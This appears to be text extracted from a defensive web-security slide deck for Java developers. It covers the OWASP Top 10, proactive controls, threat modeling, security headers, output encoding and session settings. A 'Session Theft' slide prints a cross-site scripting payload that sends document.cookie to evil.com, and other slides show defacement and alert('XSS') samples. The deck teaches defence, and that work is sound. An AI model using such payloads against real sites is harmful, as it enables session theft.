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Patch fast

Unsafe platform 
     unsafe web application



Now lets have a look at the

developers





OWASP TOP 10 2013
(1) Injection 
(2) Broken Authentication and Session Management 
(3) Cross-Site Scripting (XSS) 
(4) Insecure Direct Object References 
(5) Security Misconfiguration 
(6) Sensitive Data Exposure 
(7) Missing Function Level Access Control 
(8) Cross-Site Request Forgery (CSRF) 
(9) Using Components with Known Vulnerabilities 
(10) Unvalidated Redirects and Forwards



What scares others…

… does not necessarily 
scare you!



OWASP TOP 10 Proactive Controls
(1) Parameterize Queries 
(2) Encode Data 
(3) Validate All Inputs 
(4) Implement Appropriate Access Controls 
(5) Establish Identity and Authentication Controls 
(6) Protect Data and Privacy 
(7) Implement Logging, Error Handling and Intrusion 

Detection 
(8) Leverage Security Features of Frameworks and 

Security Libraries 
(9) Include Security-Specific Requirements 
(10) Design and Architect Security in

(2) Encode Data

(8) Leverage Security Features of Frameworks and 
Security Libraries

(10) Design and Architect Security in
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Applications need to 
be secure by design

Threat model



* by Adam Shostack - Threat Modeling

1. What are you building? 
2. What can go wrong? 
3. What should you do about those things 

that can go wrong? 
4. Did you do a decent job of analysis in 

steps 1 to 3?

Threat modeling key questions*





Secure all data 
during transport





Log-in form requires HTTPS

Link to a 
dedicated HTTPS 

log-in page
HSTS to force 

HTTPS for 
whole page



@WebFilter(urlPatterns = {"/*"})
public class HSTS implements Filter {
  public void doFilter(…) {
    HttpServletResponse response = 
     (HttpServletResponse) res;
    response.addHeader(
     "Strict-Transport-Security", 
     "max-age=31556926");

    chain.doFilter(req, response);
  }
  // …
}



Combine security response headers

Content Security Policy (CSP)
Prevents Cross-Site Scripting

HTTP Strict Transport Security (HSTS)
Forces HTTPS connections

X-Content-Type-Options
Prevents drive-by downloads

Cache-Control
Prevents storing sensitive data in browser cache

X-Frame-Options
Prevents UI redressing attacks (clickjacking)



response.addHeader(
  "Content-Security-Policy",
  "default-src 'none';
   script-src *.sample.com;
   style-src sample.org;
   frame-ancestors 'none'"
);



Defense in depth



Verify all headers in the browser



Recx Security Analyser



Cross-Site Scripting



Execute arbitrary code in browser
Access victim’s session credentials 
Website defacement 
Load remotely hosted scripts

XSS attacks

Undermine CSRF defense

Data theft

Redirects to phishing/ malware sites



Session Theft

<script>
 var img = new Image();
 img.src = "http://evil.com?"
           + document.cookie;
</script> 



<script>
 document.body
  .innerHTML("XSS");
</script> 

Website Defacement



<



&lt;



HTML
&lt;script&gt;alert(&#34;XSS&#34;)&
lt;/script&gt;

<script>alert("XSS")</script>

JavaScript
<script>alert(\x22XSS\x22)<\/script>

CSS
\3cscript\3e alert(\22XSS\22)\3c
\2fscript\3e

In which context will the 
(user) input be used?



String encHTML = 
  Encode.forHtml(name);

OWASP Java Encoder

String encCSS  =   
  Encode.forCssString(name);

String encJS   = 
  Encode.forJavaScript(name);



<web-app ... version="3.1">
 <session-config>
  <!-- idle timeout after session expires -->
  <session-timeout>30</session-timeout>
  <cookie-config>
   <!-- prevent session id script access -->
   <http-only>true</http-only>
   <!-- transfer cookie via https only -->
   <secure>true</secure>
  </cookie-config>
  <!-- session id in cookie, not URL -->
  <tracking-mode>COOKIE</tracking-mode>
 </session-config>
</web-app>



Hack yourself first





Hack yourself 
first

Professional 
pentester



Frameworks and 
libraries decline



My code, my configuration

And whose libs?





<reporting>
 <plugins><plugin>
   <groupId>org.owasp</groupId>
   <artifactId>
    dependency-check-maven
   </artifactId>
   <version>1.2.11</version>
   <reportSets><reportSet>
     <reports>
      <report>aggregate</report>
     </reports>
   </reportSet></reportSets>
  </plugin></plugins>
</reporting>







Threat model
Use OWASP Top 10 
Proactive Controls as a 
guide and hack yourself first 
Keep your libraries (and 
everything else) up-to-date
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